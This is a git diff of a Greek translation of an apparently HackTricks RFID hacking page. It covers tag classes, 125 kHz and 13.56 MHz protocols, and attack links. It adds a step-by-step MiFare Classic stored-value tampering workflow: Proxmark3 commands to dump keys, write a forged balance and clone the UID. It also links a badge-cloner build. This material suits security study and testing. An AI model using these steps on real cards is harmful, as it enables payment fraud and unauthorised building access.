Translated ['src/todo/radio-hacking/proxmark-3.md', 'src/todo/radio-hack

This commit is contained in:
Translator 2025-09-29 12:53:54 +00:00
parent 65ed6d47db
commit f0c7526afb
2 changed files with 143 additions and 55 deletions

View File

@ -4,83 +4,85 @@
## Εισαγωγή
**Η Αναγνώριση Ραδιοσυχνοτήτων (RFID)** είναι η πιο δημοφιλής λύση ραδιοσυχνοτήτων μικρής εμβέλειας. Χρησιμοποιείται συνήθως για την αποθήκευση και μετάδοση πληροφοριών που προσδιορίζουν μια οντότητα.
**Radio Frequency Identification (RFID)** είναι η πιο δημοφιλής λύση μικρής εμβέλειας με ραδιοκύματα. Χρησιμοποιείται συνήθως για την αποθήκευση και μετάδοση πληροφοριών που αναγνωρίζουν μια οντότητα.
Μια ετικέτα RFID μπορεί να βασίζεται σε **δική της πηγή ενέργειας (ενεργή)**, όπως μια ενσωματωμένη μπαταρία, ή να λαμβάνει ενέργεια από την κεραία ανάγνωσης χρησιμοποιώντας το ρεύμα **που προκαλείται από τα ληφθέντα ραδιοκύματα** (**παθητική**).
Ένα RFID tag μπορεί να βασίζεται σε **δική του πηγή ενέργειας (active)**, όπως μια ενσωματωμένη μπαταρία, ή να λαμβάνει την ενέργειά του από την κεραία ανάγνωσης χρησιμοποιώντας το ρεύμα **επαγόμενο από τα ληφθέντα ραδιοκύματα** (**passive**).
### Κατηγορίες
### Classes
Η EPCglobal χωρίζει τις ετικέτες RFID σε έξι κατηγορίες. Μια ετικέτα σε κάθε κατηγορία έχει όλες τις δυνατότητες που αναφέρονται στην προηγούμενη κατηγορία, καθιστώντας την συμβατή προς τα πίσω.
EPCglobal χωρίζει τα RFID tags σε έξι κατηγορίες. Ένα tag σε κάθε κατηγορία έχει όλες τις δυνατότητες που αναφέρονται στην προηγούμενη κατηγορία, καθιστώντας το συμβατό προς τα πίσω.
- Οι ετικέτες **Class 0** είναι **παθητικές** ετικέτες που λειτουργούν σε **UHF** ζώνες. Ο προμηθευτής τις **προγραμματίζει εκ των προτέρων** στο εργοστάσιο παραγωγής. Ως αποτέλεσμα, **δεν μπορείτε να αλλάξετε** τις πληροφορίες που αποθηκεύονται στη μνήμη τους.
- Οι ετικέτες **Class 1** μπορούν επίσης να λειτουργούν σε **HF** ζώνες. Επιπλέον, μπορούν να **γραφούν μόνο μία φορά** μετά την παραγωγή. Πολλές ετικέτες Class 1 μπορούν επίσης να επεξεργάζονται **ελέγχους κυκλικής πλεονασματικότητας** (CRCs) των εντολών που λαμβάνουν. Οι CRCs είναι μερικά επιπλέον byte στο τέλος των εντολών για ανίχνευση σφαλμάτων.
- Οι ετικέτες **Class 2** μπορούν να **γραφούν πολλές φορές**.
- Οι ετικέτες **Class 3** μπορούν να περιέχουν **ενσωματωμένους αισθητήρες** που μπορούν να καταγράφουν περιβαλλοντικές παραμέτρους, όπως η τρέχουσα θερμοκρασία ή η κίνηση της ετικέτας. Αυτές οι ετικέτες είναι **ημι-παθητικές**, επειδή αν και **έχουν** μια ενσωματωμένη πηγή ενέργειας, όπως μια ενσωματωμένη **μπαταρία**, **δεν μπορούν να ξεκινήσουν** ασύρματη **επικοινωνία** με άλλες ετικέτες ή αναγνώστες.
- Οι ετικέτες **Class 4** μπορούν να ξεκινήσουν επικοινωνία με άλλες ετικέτες της ίδιας κατηγορίας, καθιστώντας τις **ενεργές ετικέτες**.
- Οι ετικέτες **Class 5** μπορούν να παρέχουν **ενέργεια σε άλλες ετικέτες και να επικοινωνούν με όλες τις προηγούμενες κατηγορίες ετικετών**. Οι ετικέτες Class 5 μπορούν να λειτουργούν ως **αναγνώστες RFID**.
- **Class 0** tags είναι **passive** tags που λειτουργούν στις ζώνες **UHF**. Ο προμηθευτής τα **προ-προγραμματίζει** στο εργοστάσιο παραγωγής. Ως αποτέλεσμα, **δεν μπορείτε να αλλάξετε** τις πληροφορίες που είναι αποθηκευμένες στη μνήμη τους.
- **Class 1** tags μπορούν επίσης να λειτουργούν σε ζώνες **HF**. Επιπλέον, μπορούν να **γραφτούν μόνο μία φορά** μετά την παραγωγή. Πολλά Class 1 tags μπορούν επίσης να επεξεργάζονται **cyclic redundancy checks (CRCs)** των εντολών που λαμβάνουν. Τα CRCs είναι μερικά επιπλέον bytes στο τέλος των εντολών για ανίχνευση λαθών.
- **Class 2** tags μπορούν να **γραφτούν πολλές φορές**.
- **Class 3** tags μπορούν να περιέχουν **ενσωματωμένους αισθητήρες** που μπορούν να καταγράψουν περιβαλλοντικές παραμέτρους, όπως την τρέχουσα θερμοκρασία ή την κίνηση του tag. Αυτά τα tags είναι **semi-passive**, επειδή, αν και **έχουν** ενσωματωμένη πηγή ενέργειας, όπως μια **μπαταρία**, **δεν μπορούν να ξεκινήσουν** ασύρματη **επικοινωνία** με άλλα tags ή readers.
- **Class 4** tags μπορούν να ξεκινήσουν επικοινωνία με άλλα tags της ίδιας κλάσης, καθιστώντας τα **active tags**.
- **Class 5** tags μπορούν να παρέχουν **ενέργεια σε άλλα tags και να επικοινωνούν με όλες τις προηγούμενες κλάσεις**. Τα Class 5 tags μπορούν να λειτουργήσουν ως **RFID readers**.
### Πληροφορίες που Αποθηκεύονται σε Ετικέτες RFID
### Πληροφορίες αποθηκευμένες σε RFID Tags
Η μνήμη μιας ετικέτας RFID αποθηκεύει συνήθως τέσσερις τύπους δεδομένων: τα **δεδομένα ταυτοποίησης**, που **προσδιορίζουν** την **οντότητα** στην οποία είναι συνδεδεμένη η ετικέτα (αυτά τα δεδομένα περιλαμβάνουν πεδία που ορίζονται από τον χρήστη, όπως τραπεζικοί λογαριασμοί); τα **συμπληρωματικά δεδομένα**, που παρέχουν **περαιτέρω** **λεπτομέρειες** σχετικά με την οντότητα; τα **δεδομένα ελέγχου**, που χρησιμοποιούνται για την εσωτερική **διαμόρφωση** της ετικέτας; και τα **δεδομένα κατασκευαστή** της ετικέτας, που περιέχουν τον Μοναδικό Αναγνωριστικό της ετικέτας (**UID**) και λεπτομέρειες σχετικά με την **παραγωγή**, **τύπο** και **προμηθευτή** της ετικέτας. Θα βρείτε τους πρώτους δύο τύπους δεδομένων σε όλες τις εμπορικές ετικέτες; οι τελευταίοι δύο μπορεί να διαφέρουν ανάλογα με τον προμηθευτή της ετικέτας.
Η μνήμη ενός RFID tag συνήθως αποθηκεύει τέσσερις τύπους δεδομένων: τα **identification data**, που **αναγνωρίζουν** την **οντότητα** στην οποία είναι προσαρτημένο το tag (αυτά τα δεδομένα περιλαμβάνουν πεδία ορισμένα από τον χρήστη, όπως τραπεζικοί λογαριασμοί); τα **supplementary data**, που παρέχουν **περαιτέρω** **λεπτομέρειες** σχετικά με την οντότητα; τα **control data**, που χρησιμοποιούνται για την εσωτερική **διαμόρφωση** του tag; και τα **manufacturer data** του tag, που περιέχουν το Unique Identifier (**UID**) του tag και λεπτομέρειες σχετικά με την **παραγωγή**, τον **τύπο** και τον **προμηθευτή** του tag. Θα βρείτε τους δύο πρώτους τύπους δεδομένων σε όλα τα εμπορικά tags· οι δύο τελευταίοι μπορεί να διαφέρουν ανάλογα με τον vendor του tag.
Το πρότυπο ISO καθορίζει την τιμή του Αναγνωριστικού Οικογένειας Εφαρμογών (**AFI**), έναν κωδικό που υποδεικνύει τον **τύπο αντικειμένου** στο οποίο ανήκει η ετικέτα. Ένα άλλο σημαντικό μητρώο, που επίσης καθορίζεται από το ISO, είναι το Αναγνωριστικό Μορφής Αποθήκευσης Δεδομένων (**DSFID**), το οποίο καθορίζει την **λογική οργάνωση των δεδομένων χρήστη**.
Το πρότυπο ISO καθορίζει την τιμή Application Family Identifier (**AFI**), έναν κωδικό που υποδεικνύει το **είδος αντικειμένου** στο οποίο ανήκει το tag. Ένας άλλος σημαντικός καταχωρητής, επίσης καθορισμένος από το ISO, είναι το Data Storage Format Identifier (**DSFID**), που ορίζει την **λογική οργάνωση των user data**.
Οι περισσότερες **ρυθμίσεις ασφαλείας** RFID διαθέτουν μηχανισμούς που **περιορίζουν** τις **λειτουργίες ανάγνωσης** ή **γραφής** σε κάθε μπλοκ μνήμης χρήστη και στους ειδικούς καταλόγους που περιέχουν τις τιμές AFI και DSFID. Αυτοί οι **μηχανισμοί κλειδώματος** χρησιμοποιούν δεδομένα που αποθηκεύονται στη μνήμη ελέγχου και έχουν **προεπιλεγμένους κωδικούς πρόσβασης** προρυθμισμένους από τον προμηθευτή, αλλά επιτρέπουν στους κατόχους των ετικετών να **ρυθμίζουν προσαρμοσμένους κωδικούς πρόσβασης**.
Οι περισσότερες **security controls** στα RFID έχουν μηχανισμούς που **περιορίζουν** τις λειτουργίες **read** ή **write** σε κάθε μπλοκ user μνήμης και στους ειδικούς καταχωρητές που περιέχουν τις τιμές AFI και DSFID. Αυτοί οι **lock** **μηχανισμοί** χρησιμοποιούν δεδομένα αποθηκευμένα στην control μνήμη και έχουν **προεπιλεγμένους κωδικούς** (default passwords) ρυθμισμένους από τον vendor, αλλά επιτρέπουν στους ιδιοκτήτες του tag να **διαμορφώσουν προσαρμοσμένους κωδικούς**.
### Σύγκριση Ετικετών Χαμηλής & Υψηλής Συχνότητας
### Σύγκριση tags χαμηλής & υψηλής συχνότητας
<figure><img src="../../images/image (983).png" alt=""><figcaption></figcaption></figure>
## Ετικέτες RFID Χαμηλής Συχνότητας (125kHz)
## Low-Frequency RFID Tags (125kHz)
Οι **ετικέτες χαμηλής συχνότητας** χρησιμοποιούνται συχνά σε συστήματα που **δεν απαιτούν υψηλή ασφάλεια**: πρόσβαση σε κτίρια, κλειδιά διασύνδεσης, κάρτες μέλους γυμναστηρίου, κ.λπ. Λόγω της μεγαλύτερης εμβέλειάς τους, είναι βολικές για χρήση σε πληρωμένα πάρκινγκ: ο οδηγός δεν χρειάζεται να φέρει την κάρτα κοντά στον αναγνώστη, καθώς ενεργοποιείται από μεγαλύτερη απόσταση. Ταυτόχρονα, οι ετικέτες χαμηλής συχνότητας είναι πολύ πρωτόγονες, έχουν χαμηλό ρυθμό μεταφοράς δεδομένων. Για αυτόν τον λόγο, είναι αδύνατο να υλοποιηθεί πολύπλοκη αμφίδρομη μεταφορά δεδομένων για πράγματα όπως η διατήρηση υπολοίπου και η κρυπτογραφία. Οι ετικέτες χαμηλής συχνότητας μεταδίδουν μόνο το σύντομο ID τους χωρίς κανένα μέσο αυθεντικοποίησης.
Τα **χαμηλής συχνότητας tags** χρησιμοποιούνται συχνά σε συστήματα που **δεν απαιτούν υψηλή ασφάλεια**: πρόσβαση σε κτίρια, κλειδιά θυρών intercom, κάρτες γυμναστηρίου κ.λπ. Λόγω της μεγαλύτερης εμβέλειάς τους, είναι βολικά για πληρωμένα πάρκινγκ αυτοκινήτων: ο οδηγός δεν χρειάζεται να φέρει την κάρτα κοντά στον reader, καθώς ενεργοποιείται από μεγαλύτερη απόσταση. Ταυτόχρονα, τα low-frequency tags είναι πολύ πρωτόγονα, έχουν χαμηλό ρυθμό μετάδοσης δεδομένων. Γι' αυτό είναι αδύνατο να εφαρμοστούν πολύπλοκες αμφίδρομες μεταφορές δεδομένων για πράγματα όπως διαχείριση υπολοίπου και κρυπτογραφία. Τα low-frequency tags μεταδίδουν μόνο το σύντομο ID τους χωρίς κανένα μέσο αυθεντικοποίησης.
Αυτές οι συσκευές βασίζονται στην **παθητική** **τεχνολογία RFID** και λειτουργούν σε **εύρος 30 kHz έως 300 kHz**, αν και είναι πιο συνηθισμένο να χρησιμοποιούνται 125 kHz έως 134 kHz:
Αυτές οι συσκευές βασίζονται σε **passive RFID** τεχνολογία και λειτουργούν σε **εύρος 30 kHz έως 300 kHz**, αν και είναι πιο συνηθισμένο να χρησιμοποιείται 125 kHz έως 134 kHz:
- **Μεγάλη Εμβέλεια** — η χαμηλότερη συχνότητα μεταφράζεται σε μεγαλύτερη εμβέλεια. Υπάρχουν μερικοί αναγνώστες EM-Marin και HID, οι οποίοι λειτουργούν από απόσταση έως και ενός μέτρου. Αυτοί χρησιμοποιούνται συχνά σε πάρκινγκ αυτοκινήτων.
- **Πρωτόγονο πρωτόκολλο** — λόγω του χαμηλού ρυθμού μεταφοράς δεδομένων, αυτές οι ετικέτες μπορούν να μεταδώσουν μόνο το σύντομο ID τους. Στις περισσότερες περιπτώσεις, τα δεδομένα δεν είναι αυθεντικοποιημένα και δεν προστατεύονται με κανέναν τρόπο. Μόλις η κάρτα είναι εντός της εμβέλειας του αναγνώστη, αρχίζει απλώς να μεταδίδει το ID της.
- **Χαμηλή ασφάλεια**Αυτές οι κάρτες μπορούν να αντιγραφούν εύκολα ή ακόμη και να διαβαστούν από την τσέπη κάποιου άλλου λόγω της πρωτόγονης φύσης του πρωτοκόλλου.
- **Μεγάλη εμβέλεια** — χαμηλότερη συχνότητα σημαίνει μεγαλύτερη εμβέλεια. Υπάρχουν μερικοί αναγνώστες EM-Marin και HID που λειτουργούν από απόσταση έως και ένα μέτρο. Αυτοί χρησιμοποιούνται συχνά σε πάρκινγκ αυτοκινήτων.
- **Πρωτόγονο πρωτόκολλο** — λόγω του χαμηλού ρυθμού μετάδοσης δεδομένων αυτά τα tags μπορούν μόνο να μεταδώσουν το σύντομο ID τους. Στις περισσότερες περιπτώσεις, τα δεδομένα δεν αυθεντικοποιούνται και δεν προστατεύονται με κανέναν τρόπο. Μόλις η κάρτα μπει στην εμβέλεια του reader, απλά αρχίζει να μεταδίδει το ID της.
- **Χαμηλή ασφάλεια**αυτές οι κάρτες μπορούν να αντιγραφούν εύκολα, ή ακόμη και να διαβαστούν από την τσέπη κάποιου άλλου λόγω της πρωτόγονης φύσης του πρωτοκόλλου.
**Δημοφιλή πρωτόκολλα 125 kHz:**
- **EM-Marin** — EM4100, EM4102. Το πιο δημοφιλές πρωτόκολλο στην ΚΑΚ. Μπορεί να διαβαστεί από περίπου ένα μέτρο λόγω της απλότητας και της σταθερότητάς του.
- **HID Prox II** — πρωτόκολλο χαμηλής συχνότητας που εισήχθη από την HID Global. Αυτό το πρωτόκολλο είναι πιο δημοφιλές στις δυτικές χώρες. Είναι πιο περίπλοκο και οι κάρτες και οι αναγνώστες για αυτό το πρωτόκολλο είναι σχετικά ακριβοί.
- **Indala** — πολύ παλιό πρωτόκολλο χαμηλής συχνότητας που εισήχθη από την Motorola και αργότερα αποκτήθηκε από την HID. Είναι λιγότερο πιθανό να το συναντήσετε στην πραγματικότητα σε σύγκριση με τα προηγούμενα δύο, καθώς αποσύρεται από τη χρήση.
- **EM-Marin** — EM4100, EM4102. Το πιο δημοφιλές πρωτόκολλο στην περιοχή CIS. Μπορεί να διαβαστεί από περίπου ένα μέτρο λόγω της απλότητας και της σταθερότητάς του.
- **HID Prox II** — πρωτόκολλο χαμηλής συχνότητας που εισήγαγε η HID Global. Αυτό το πρωτόκολλο είναι πιο δημοφιλές στις δυτικές χώρες. Είναι πιο σύνθετο και οι κάρτες και οι readers για αυτό το πρωτόκολλο είναι σχετικά ακριβοί.
- **Indala** — πολύ παλιό πρωτόκολλο χαμηλής συχνότητας που εισήγαγε η Motorola και αργότερα αγοράστηκε από την HID. Είναι λιγότερο πιθανό να το συναντήσετε σε φυσικό περιβάλλον σε σύγκριση με τα προηγούμενα δύο γιατί σταδιακά παύει να χρησιμοποιείται.
Στην πραγματικότητα, υπάρχουν πολύ περισσότερα πρωτόκολλα χαμηλής συχνότητας. Αλλά όλα χρησιμοποιούν την ίδια διαμόρφωση στο φυσικό επίπεδο και μπορεί να θεωρηθούν, με κάποιον τρόπο ή άλλο, μια παραλλαγή αυτών που αναφέρονται παραπάνω.
Στην πραγματικότητα, υπάρχουν πολύ περισσότερα πρωτόκολλα χαμηλής συχνότητας. Αλλά όλα χρησιμοποιούν την ίδια διαμόρφωση στο φυσικό στρώμα και μπορεί να θεωρηθούν, με τον έναν ή τον άλλον τρόπο, παραλλαγές αυτών που αναφέρθηκαν παραπάνω.
### Επίθεση
### Attack
Μπορείτε να **επιτεθείτε σε αυτά τα Tags με το Flipper Zero**:
Μπορείτε να **επιτεθείτε σε αυτές τις ετικέτες με το Flipper Zero**:
{{#ref}}
flipper-zero/fz-125khz-rfid.md
{{#endref}}
## Ετικέτες RFID Υψηλής Συχνότητας (13.56 MHz)
## High-Frequency RFID Tags (13.56 MHz)
Οι **ετικέτες υψηλής συχνότητας** χρησιμοποιούνται για μια πιο σύνθετη αλληλεπίδραση αναγνώστη-ετικέτας όταν χρειάζεστε κρυπτογραφία, μεγάλη αμφίδρομη μεταφορά δεδομένων, αυθεντικοποίηση, κ.λπ.\
Συνήθως βρίσκονται σε τραπεζικές κάρτες, δημόσιες συγκοινωνίες και άλλες ασφαλείς κάρτες.
Τα **υψηλής συχνότητας tags** χρησιμοποιούνται για πιο σύνθετη αλληλεπίδραση reader-tag όταν χρειάζεστε κρυπτογραφία, μεγάλη αμφίδρομη μεταφορά δεδομένων, αυθεντικοποίηση κ.λπ.\
Συνήθως τα βρίσκουμε σε τραπεζικές κάρτες, μέσα μαζικής μεταφοράς και άλλα ασφαλή περάσματα.
**Οι ετικέτες υψηλής συχνότητας 13.56 MHz είναι ένα σύνολο προτύπων και πρωτοκόλλων**. Συνήθως αναφέρονται ως [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), αλλά αυτό δεν είναι πάντα σωστό. Το βασικό σύνολο πρωτοκόλλων που χρησιμοποιείται σε φυσικό και λογικό επίπεδο είναι το ISO 14443. Τα πρωτόκολλα υψηλού επιπέδου, καθώς και εναλλακτικά πρότυπα (όπως το ISO 19092), βασίζονται σε αυτό. Πολλοί άνθρωποι αναφέρονται σε αυτήν την τεχνολογία ως **Επικοινωνία Εγγύς Πεδίο (NFC)**, ένας όρος για συσκευές που λειτουργούν στη συχνότητα 13.56 MHz.
**Τα high-frequency 13.56 MHz tags είναι ένα σύνολο προτύπων και πρωτοκόλλων**. Συνήθως αναφέρονται ως [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), αλλά αυτό δεν είναι πάντα σωστό. Το βασικό σύνολο πρωτοκόλλων που χρησιμοποιείται σε φυσικά και λογικά επίπεδα είναι το ISO 14443. Πρωτόκολλα υψηλού επιπέδου, καθώς και εναλλακτικά πρότυπα (όπως το ISO 19092), βασίζονται πάνω σε αυτό. Πολλοί άνθρωποι αναφέρονται σε αυτήν την τεχνολογία ως **Near Field Communication (NFC)**, ένας όρος για συσκευές που λειτουργούν στη συχνότητα 13.56 MHz.
<figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
Απλά, η αρχιτεκτονική του NFC λειτουργεί ως εξής: το πρωτόκολλο μετάδοσης επιλέγεται από την εταιρεία που κατασκευάζει τις κάρτες και υλοποιείται με βάση το χαμηλού επιπέδου ISO 14443. Για παράδειγμα, η NXP εφηύρε το δικό της πρωτόκολλο μετάδοσης υψηλού επιπέδου που ονομάζεται Mifare. Αλλά σε χαμηλότερο επίπεδο, οι κάρτες Mifare βασίζονται στο πρότυπο ISO 14443-A.
Για να το απλοποιήσουμε, η αρχιτεκτονική του NFC λειτουργεί έτσι: το πρωτόκολλο μετάδοσης επιλέγεται από την εταιρεία που κατασκευάζει τις κάρτες και υλοποιείται με βάση το χαμηλότερο επίπεδο ISO 14443. Για παράδειγμα, η NXP επινόησε το δικό της πρωτόκολλο υψηλού επιπέδου που ονομάζεται Mifare. Αλλά σε χαμηλότερο επίπεδο, οι κάρτες Mifare βασίζονται στο πρότυπο ISO 14443-A.
Το Flipper μπορεί να αλληλεπιδράσει τόσο με το πρωτόκολλο ISO 14443 χαμηλού επιπέδου, όσο και με το πρωτόκολλο μεταφοράς δεδομένων Mifare Ultralight και EMV που χρησιμοποιούνται σε τραπεζικές κάρτες. Εργαζόμαστε για την προσθήκη υποστήριξης για το Mifare Classic και το NFC NDEF. Μια λεπτομερής ματιά στα πρωτόκολλα και τα πρότυπα που συνθέτουν το NFC αξίζει ένα ξεχωριστό άρθρο το οποίο σχεδιάζουμε να δημοσιεύσουμε αργότερα.
Το Flipper μπορεί να αλληλεπιδράσει τόσο με το χαμηλού επιπέδου πρωτόκολλο ISO 14443, όσο και με το Mifare Ultralight data transfer protocol και το EMV που χρησιμοποιείται σε τραπεζικές κάρτες. Εργαζόμαστε για την προσθήκη υποστήριξης για Mifare Classic και NFC NDEF. Μια λεπτομερής ματιά στα πρωτόκολλα και τα πρότυπα που αποτελούν το NFC αξίζει ξεχωριστό άρθρο που σκοπεύουμε να δημοσιεύσουμε αργότερα.
Όλες οι κάρτες υψηλής συχνότητας που βασίζονται στο πρότυπο ISO 14443-A έχουν έναν μοναδικό αναγνωριστικό τσιπ. Λειτουργεί ως ο σειριακός αριθμός της κάρτας, όπως η διεύθυνση MAC μιας κάρτας δικτύου. **Συνήθως, το UID είναι 4 ή 7 byte**, αλλά σπάνια μπορεί να φτάσει **έως 10**. Τα UIDs δεν είναι μυστικά και είναι εύκολα αναγνώσιμα, **μερικές φορές ακόμη και εκτυπωμένα στην ίδια την κάρτα**.
Όλες οι κάρτες υψηλής συχνότητας βασισμένες στο πρότυπο ISO 14443-A έχουν ένα μοναδικό chip ID. Λειτουργεί ως σειριακός αριθμός της κάρτας, όπως η MAC διεύθυνση σε μια κάρτα δικτύου. **Συνήθως, το UID έχει μήκος 4 ή 7 bytes**, αλλά σπάνια μπορεί να φτάσει **έως 10**. Τα UID δεν είναι μυστικά και είναι εύκολα αναγνώσιμα, **μερικές φορές ακόμη και εκτυπωμένα πάνω στην κάρτα**.
Υπάρχουν πολλά συστήματα ελέγχου πρόσβασης που βασίζονται στο UID για να **αυθεντικοποιούν και να παρέχουν πρόσβαση**. Μερικές φορές αυτό συμβαίνει **ακόμη** και όταν οι ετικέτες RFID **υποστηρίζουν κρυπτογραφία**. Αυτή η **κακή χρήση** τις κατεβάζει στο επίπεδο των ανόητων **καρτών 125 kHz** όσον αφορά την **ασφάλεια**. Οι εικονικές κάρτες (όπως το Apple Pay) χρησιμοποιούν ένα δυναμικό UID ώστε οι κάτοχοι τηλεφώνων να μην μπορούν να ανοίγουν πόρτες με την εφαρμογή πληρωμών τους.
Υπάρχουν πολλά συστήματα ελέγχου πρόσβασης που βασίζονται στο UID για **αυθεντικοποίηση και παροχή πρόσβασης**. Μερικές φορές αυτό συμβαίνει **ακόμη και** όταν τα RFID tags **υποστηρίζουν κρυπτογραφία**. Τέτοια **κακή χρήση** τα φέρνει στο επίπεδο των dumb **125 kHz καρτών** όσον αφορά την **ασφάλεια**. Εικονικές κάρτες (όπως το Apple Pay) χρησιμοποιούν δυναμικό UID ώστε οι κάτοχοι τηλεφώνων να μην ανοίγουν πόρτες με την εφαρμογή πληρωμών τους.
- **Χαμηλή εμβέλεια** — οι κάρτες υψηλής συχνότητας σχεδιάζονται ειδικά ώστε να πρέπει να τοποθετούνται κοντά στον αναγνώστη. Αυτό βοηθά επίσης στην προστασία της κάρτας από μη εξουσιοδοτημένες αλληλεπιδράσεις. Η μέγιστη εμβέλεια ανάγνωσης που καταφέραμε να επιτύχουμε ήταν περίπου 15 cm, και αυτό ήταν με ειδικά κατασκευασμένους αναγνώστες μεγάλης εμβέλειας.
- **Προηγμένα πρωτόκολλα**οι ταχύτητες μεταφοράς δεδομένων έως 424 kbps επιτρέπουν πολύπλοκα πρωτόκολλα με πλήρη αμφίδρομη μεταφορά δεδομένων. Πράγμα που με τη σειρά του **επιτρέπει κρυπτογραφία**, μεταφορά δεδομένων, κ.λπ.
- **Υψηλή ασφάλεια**οι κάρτες επαφής υψηλής συχνότητας δεν υστερούν σε τίποτα σε σχέση με τις έξυπνες κάρτες. Υπάρχουν κάρτες που υποστηρίζουν κρυπτογραφικά ισχυρούς αλγόριθμους όπως το AES και υλοποιούν ασύμμετρη κρυπτογραφία.
- **Μικρή εμβέλεια** — οι κάρτες υψηλής συχνότητας είναι σχεδιασμένες ώστε να τοποθετούνται κοντά στον reader. Αυτό βοηθά επίσης στην προστασία της κάρτας από μη εξουσιοδοτημένες αλληλεπιδράσεις. Η μέγιστη εμβέλεια ανάγνωσης που καταφέραμε να επιτύχουμε ήταν περίπου 15 cm, και αυτό με custom-made high-range readers.
- **Προηγμένα πρωτόκολλα** — ταχύτητες μετάδοσης δεδομένων έως 424 kbps επιτρέπουν σύνθετα πρωτόκολλα με πλήρη αμφίδρομη μεταφορά δεδομένων. Αυτό με τη σειρά του **επιτρέπει κρυπτογραφία**, μεταφορά δεδομένων κ.λπ.
- **Υψηλή ασφάλεια**οι contactless κάρτες υψηλής συχνότητας δεν υστερούν σε τίποτα σε σχέση με τις smart cards. Υπάρχουν κάρτες που υποστηρίζουν κρυπτογραφικά ισχυρούς αλγόριθμους όπως το AES και υλοποιούν ασύμμετρη κρυπτογραφία.
### Επίθεση
### Attack
Μπορείτε να **επιτεθείτε σε αυτά τα Tags με το Flipper Zero**:
Μπορείτε να **επιτεθείτε σε αυτές τις ετικέτες με το Flipper Zero**:
{{#ref}}
flipper-zero/fz-nfc.md
@ -88,13 +90,61 @@ flipper-zero/fz-nfc.md
Ή χρησιμοποιώντας το **proxmark**:
{{#ref}}
proxmark-3.md
{{#endref}}
### Δημιουργία Φορητού Κλωνοποιητή HID MaxiProx 125 kHz
### MiFare Classic offline stored-value tampering (broken Crypto1)
Όταν ένα σύστημα αποθηκεύει υπόλοιπο χρημάτων απευθείας σε μια κάρτα MiFare Classic, συχνά μπορείτε να το χειραγωγήσετε επειδή η Classic χρησιμοποιεί τον obsolete αλγόριθμο Crypto1 της NXP. Το Crypto1 έχει καταρριφθεί εδώ και χρόνια, επιτρέποντας την ανάκτηση των sector keys και την πλήρη ανάγνωση/εγγραφή της μνήμης της κάρτας με commodity hardware (π.χ., Proxmark3).
End-to-end workflow (abstracted):
1) Dump της αρχικής κάρτας και ανάκτηση των κλειδιών
```bash
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn
```
Αυτό συνήθως ανακτά τα sector keys (A/B) και δημιουργεί ένα full-card dump στον φάκελο client dumps.
2) Εντοπίστε και κατανοήστε τα value/integrity fields
- Κάντε νόμιμες top-ups στην αρχική κάρτα και πάρτε πολλαπλά dumps (πριν/μετά).
- Κάντε diff των δύο dumps για να εντοπίσετε τα blocks/bytes που αλλάζουν και αντιπροσωπεύουν το balance και τυχόν integrity fields.
- Πολλές Classic εγκαταστάσεις είτε χρησιμοποιούν την εγγενή "value block" κωδικοποίηση είτε υλοποιούν δικά τους checksums (π.χ. XOR του balance με άλλο πεδίο και μια σταθερά). Μετά την αλλαγή του balance, επαναϋπολογίστε τα integrity bytes ανάλογα και βεβαιωθείτε ότι όλα τα duplicated/complemented πεδία είναι συνεπή.
3) Εγγράψτε το τροποποιημένο dump σε ένα εγγράψιμο “Chinese magic” Classic tag
```bash
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
```
4) Κλωνοποιήστε το αρχικό UID ώστε τα τερματικά να αναγνωρίσουν την κάρτα
```bash
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
```
5) Χρήση σε τερματικά
Οι αναγνώστες που εμπιστεύονται το υπόλοιπο στην κάρτα και το UID θα αποδεχθούν την παραποιημένη κάρτα. Παρατηρήσεις από το πεδίο δείχνουν ότι πολλές εγκαταστάσεις θέτουν όρια στα υπόλοιπα με βάση το πλάτος του πεδίου (π.χ., 16-bit fixed-point).
Notes
- If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
- For custom formats with simple checksums, differential analysis is the fastest way to derive the integrity function without reversing firmware.
- Only UID-changeable tags ("Chinese magic" gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.
Για πρακτικές εντολές Proxmark3, δείτε:
{{#ref}}
proxmark-3.md
{{#endref}}
### Κατασκευή Φορητού HID MaxiProx 125 kHz Mobile Cloner
Αν χρειάζεστε μια **μεγάλης εμβέλειας**, **τροφοδοτούμενη από μπαταρία** λύση για τη συλλογή HID Prox® badges κατά τη διάρκεια red-team engagements, μπορείτε να μετατρέψετε τον τοιχωμένο αναγνώστη **HID MaxiProx 5375** σε έναν αυτοδύναμο cloner που χωράει σε σακίδιο. Η πλήρης μηχανική και ηλεκτρική περιήγηση είναι διαθέσιμη εδώ:
Αν χρειάζεστε μια **λύση μεγάλης εμβέλειας**, **με μπαταρία** για τη συλλογή διακριτικών HID Prox® κατά τη διάρκεια επιθέσεων red-team, μπορείτε να μετατρέψετε τον τοίχο-τοποθετημένο αναγνώστη **HID MaxiProx 5375** σε έναν αυτόνομο κλωνοποιητή που χωράει σε ένα σακίδιο. Ο πλήρης μηχανικός και ηλεκτρικός οδηγός είναι διαθέσιμος εδώ:
{{#ref}}
maxiprox-mobile-cloner.md
@ -102,9 +152,12 @@ maxiprox-mobile-cloner.md
---
## Αναφορές
## References
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
- [Let's Clone a Cloner Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Επίθεση σε Συστήματα RFID με Proxmark3
## Επίθεση σε RFID συστήματα με Proxmark3
